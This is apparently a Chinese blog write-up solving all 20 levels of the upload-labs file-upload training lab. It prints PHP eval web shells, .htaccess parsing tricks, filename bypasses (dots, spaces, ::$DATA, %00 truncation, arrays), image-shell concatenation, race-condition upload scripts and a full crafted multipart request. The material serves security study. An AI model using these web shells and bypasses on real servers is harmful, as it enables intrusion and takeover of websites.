2025 upload-labs 文件上传漏洞通关以及WriteUP包含注意事项(详细版)

2025 upload-labs 文件上传漏洞通关以及WriteUP包含注意事项(详细版)
28.7的博客介绍
Upload-labs 是一款专注于文件上传漏洞学习与实战的 Web 安全靶机,旨在帮助学习者掌握漏洞原理、绕过技巧及对应的防御方案。
Upload-labs 比较依赖于环境,最好使用Windows靶机,相对会简单很多,很多特性完全考察的是Windows特性,而且很多人的版本不一样,题目顺序也不一样,如果你完全参照我的WP那么可能需要用到这个版本
- php最好不要大于我这个版本(5.2.17)
Press1-前端绕过
- 创建
shell.jpg将文件上传到靶机并抓包,将HTTP参数中的filename值修改为1
2<?php phpinfo();
@eval($_POST['cmd']);?>shell.php后上传
打开图像路径
<img src="../upload/shell.php" width="250px" />对应http://192.168.87.177:8081/upload/shell.php
蚁剑连接
Press2-Mime类型绕过(两种做法)
Mime类型是我们上传文件后,浏览器会嗅探文件后缀,服务器Content-Type响应头来得出结论,但是这是可以被修改的,,随后后端由于完全信息HTTP中的Mime类型导致的判断错误,从而引发漏洞,但是在这一关,反而前端没有对后缀进行约束了,php文件可以上传,只是无法通过后端验证
上传JPG文件的做法
- 创建
shell.jpg将文件上传到靶机并抓包,将HTTP参数中的filename值修改为1
2<?php phpinfo();
@eval($_POST['cmd']);?>shell.php后上传
蚁剑连接
上传PHP文件的做法
- 创建
shell.php1
2phpinfo();
@eval($_POST['shell']);
- 直接上传php文件
- 修改Mime类型为图片上传成功,依旧是phpinfo到建立连接
1
2
3Content-Type: application/octet-stream
Mime类型由上面变成
Content-Type: image/jpeg
Press3-Apache或者Nginx文件解析漏洞/特性
方法一
Apache或者Nginx解析文件类型的时候通常由文件后缀决定,例如HTML对于超文本语言解析,css变成装饰器,JS变成脚本代码,php当作php执行,当然也不只是php,例如
phtml,Php,phps,.pht等,当然这是Apache或者Nginx允许的解析,如果未开启相应的解析,同样与txt无异,又或者是文件包含的话,连txt同样一起解析,当然这个包含属于php的特性了,
经过我这里的尝试,由于我在docker环境下,修改起来麻烦,所以这一关我是用了.htaccess文件辅助解析,上传.htaccess文件文件等下,好像不太对,文件被重命名了,那么以为这这个.htaccess文件失效了。那么就只能在想其他办法后面想了很多办法,例如
解析php文件(本身就不允许),php5,php3,pht,phps通通不行,所以这个问题出在我的环境上
创建.htaccess文件
htaccess(Hypertext Access)是Apache Web 服务器特有的一个配置文件,用于实现目录级别的配置管理。它允许开发者在不修改服务器全局配置(如httpd.conf)的情况下,对特定目录(及子目录)的 Web 服务行为进行自定义,让其将图片解析为php代码
- URL 重写(最常用)
- 自定义错误页面
- 访问控制
- 设置 HTTP 响应头
1 | AddType application/x-httpd-php .php .phtml .php3 .php5 .jpg |
进入靶机内部,将刚才被重命名的202510140712482480.htaccess文件重命名为.htaccess(迫不得已了)
所以.phtml文件也顺利成章的解析出来了,蚁剑正常连接
方法二
打开httpd.conf文件,去掉下面的注释,增加一些解析
1 | AddType text/html .shtml |
将php木马改为phtml上传
我们发现.html文件解析了php脚本
蚁剑正常连接
Press4-黑名单验证 .htaccess绕过
本关的思路是使用.htaccess文件,虽然代码中过滤了一些后缀,但是不重要,通过.htaccess文件我们甚至可以将.txt文件执行成php文件
创建.htaccess
1 | AddType application/x-httpd-php .php .phtml .php3 .php5 .jpg |
- 上传代码文件 .htaccess文件
- 上传JPG格式的伪图片马
代码执行成功
蚁剑连接成功
Press5-黑名单绕过-点号绕过
大概查看源代码
当图像上传后,经过黑名单,但是整体的逻辑有问题
- 先删除文件名末尾的点
- 然后找点 “.”出现的位置
但这些做法都在黑名单检测前,检测的时候由于格式不一致,所以绕过了黑名单
1 | $is_upload = false; |
- 创建文件
Getshell.php1
2phpinfo();
@eval($_POST['shell']); - 上传木马
将filename改为
Getshell.php. .,
phpinfo()执行成功
蚁剑连接成功
Press6-黑名单验证·大小写绕过
后端未对文件名进行
strtolower()转小写
1 | $is_upload = false; |
文件上传测试成功
蚁剑连接成功
Press7-黑名单验证-空格绕过
Windows做这个挺简单的,Windows会自动去除尾部的空格
观察源代码,这个代码最主要的问题是没有去除尾部的空格使用trim()方法,所以导致了绕过
1 | $is_upload = false; |
上传文件
“shell.php (注意空格,不要编码%20就是一个纯空格)”
phpinfo执行成功
蚁剑连接成功
Press8-黑名单验证-单点号绕过
就是没有去除后缀名后的点,导致的失陷
1 | $is_upload = false; |
文件上传成功
phpinfo执行成功
蚁剑连接成功
Press9-黑名单验证-$DATA特殊符号绕过
源码也就是未过滤$DATA特殊符号导致的失陷
在 Windows 的 NTFS 文件系统中,存在一种名为 “交替数据流(Alternate Data Streams, ADS)” 的机制,用于在一个文件中存储额外数据。其中,:$DATA是所有文件默认数据流的名称(每个文件至少有一个$DATA数据流)。
NTFS 的特性规定:当文件名中包含:$DATA时,系统会自动忽略该部分,仅识别::$DATA之前的文件名。
故shell.php::$DATA在上传以后变成shell.php,因为Windows计算机会忽略掉::$DATA
使用该木马时候删除::DATA后缀,蚁剑连接亦是如此,因为Windows自动忽略了
Press10-黑名单验证-双点绕过(与第五关有重合,或者说完全一样)
上传抓包修改filename = “shell.php. .”
phpinfo执行成功
蚁剑连接成功
Press11-黑名单验证-双写绕过
查看源代码,仍然是在过滤之前做的清理
1 | $is_upload = false; |
上传文件为shell.pphphp
phpinfo执行成功
蚁剑连接成功
Press12-白名单验证-GET路径截断绕过
切换PHP版本为5.2.17(<5.3.4);
打开php.ini,设置magic_quotes_gpc = Off,重启服务。
准备shell.jpg伪图片马,上传抓包;
在BP中找到GET参数(如?save_path=upload/),改为?save_path=upload/cmd.php%00;
确保filename=”shell.jpg”(符合白名单);
放包后,路径被%00截断为upload/shell.php,文件保存为shell.php;
蚁剑连接时,去掉%00后的内容,即可成功。
Press13-白名单验证-POST路径截断绕过
本质上与12题没区别,都是路径截断
因为post无法识别%00 形式,所以将2b改为00
phpinfo执行成功
蚁剑连接成功
Press14 图片马伪装绕过getimagesize()
准备两个文件
- 正常图片一张
- php马一个
- 将生成的新木马图片上传后使用文件包含执行
1 | copy new.jpg /b + shell.php /a = newshell.jpg |
phpinfo执行成功
蚁剑连接成功
Press15 与14是一样的
准备两个文件
- 正常图片一张
- php马一个
- 将生成的新木马图片上传后使用文件包含执行
1 | copy new.jpg /b + shell.php /a = newshell.jpg |
phpinfo执行成功
蚁剑连接成功
Press16-二次渲染
这里我的靶机原本是exif_imagetype()绕过,但是不知为啥有问题,所以就使用了buuctf的靶机
我上传了一个图片马,上传以后保存下来与原图比较,相同的块并不多,但还是存在的,所以将木马放在了相同匹配的地方
蚁剑连接成功
Press17- Session竞争上传
如果我们的文件类型不符合白名单中的后缀,那么就会删除与该文件的链接,但是众所周知,每次上传的文件都会在/tmp文件夹下做暂时停留,但这个不一样,他是先将文件从tmp文件夹下拿出来,在做比较,然后这个代码是先提示,在删除,所以根据这个特性,我们可以竞争下,利用burp的多线程,让我们在它删除文件前访问一次,那么文件就会被保留下来,那么我们想竞争尝试访问一个已知的文件,利用这个已知的文件创建另一个已知的文件
1 | $is_upload = false; |
创建文件名为file_put.php的脚本,该脚本负责衍生出一个木马
1 | fputs(fopen('shell.php', 'w'), '<?php eval($_POST["cmd"]);?>'); |
- 第一个线程尝试创建这个文件
- 第二个线程使用python-request库尝试访问这个文件
蚁剑链接成功
Press18-竞争上传
这个靶机存在问题,没有按照预期放在/upload目录下,所以我们访问的时候需要访问
Upload+文件名 例如 uploadshell.jpg,当然也可以进行修改,不修改的话就不会重命名
将19关的目录下的myupload.php定位$this->cls_upload_dir = $dir,将其改为
1 | $this->cls_upload_dir = $dir."/"; |
由于没有文件包含也不允许上传php文件,况且存在重命名以及靶机本身的错误,所以必须另辟蹊径,脚本利用上面
- 先是上传文件
- 使用脚本竞争访问文件
1 | import requests |
- 再利用17关的文件包含去访问
Press19-move_uploaded_file()特性-黑名单绕过
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.,也就是在我们上传文件的时候,在保存文件名哪里使用/.来绕过黑名单,然后被move_uploaded_file()忽略掉/.从而达到上传控制
先上传php文件(木马),然后抓包将save_name的名称改为upload-19.php./
phpinfo执行成功
蚁剑链接成功
Press20-数组绕过-黑名单绕过
还是先看看源代码
1 | $is_upload = false; |
代码执行流程
- 我们进入第二个if的else块中
当save_name不为空的时候,$FILES数据就会被三维运算符覆盖,如果此时我们上传的是数组,也就是我们会上传两个
save_name[0]为”.php”save_name[2]为”png或者jpg”只要在数组中就可以
1 | else{ |
- 我们进入后缀名判断这一节
end会帮助我们取到最后一个键值对,也就是实际上的
save_name[2]为”png或者jpg”,那么是正确的,那么按照else块执行下去,最终的$file_name变成$file[count($file) - 1],取前一个键值变成save_name[1]为”Null”,那么reset就有用了,他将数组的键值指向第一位,那么就是save_name[0]为”.php”`,变成我们最终的文件名称分析完毕,开始测试1
2
3
4
5
6
7
8
9
10
11
12
13
14
15$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
} - 上传一个php文件(木马)
- 修改save_name参数,让其变成不完整的索引数组,将php作为第一个索引,改为save_name[0],这个数组作为$FILE的完整赋值参数使用,复制一个save_name块,将其改为[2]作为第三个数组,第二个数组留空
- Content-Type由application/octet-stream改为image/png
- 上传完成后,Windows会帮助我们处理尾部的.
------geckoformboundary7fa00844074aeb128b46f1931795deeb
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php phpinfo();
@eval($_POST['shell']);?>
------geckoformboundary7fa00844074aeb128b46f1931795deeb
Content-Disposition: form-data; name="save_name[0]"
upload-20.php
------geckoformboundary7fa00844074aeb128b46f1931795deeb
Content-Disposition: form-data; name="save_name[2]"
png
------geckoformboundary7fa00844074aeb128b46f1931795deeb
Content-Disposition: form-data; name="submit"
- 上传文件测试

> phpinfo执行成功

> 蚁剑连接成功










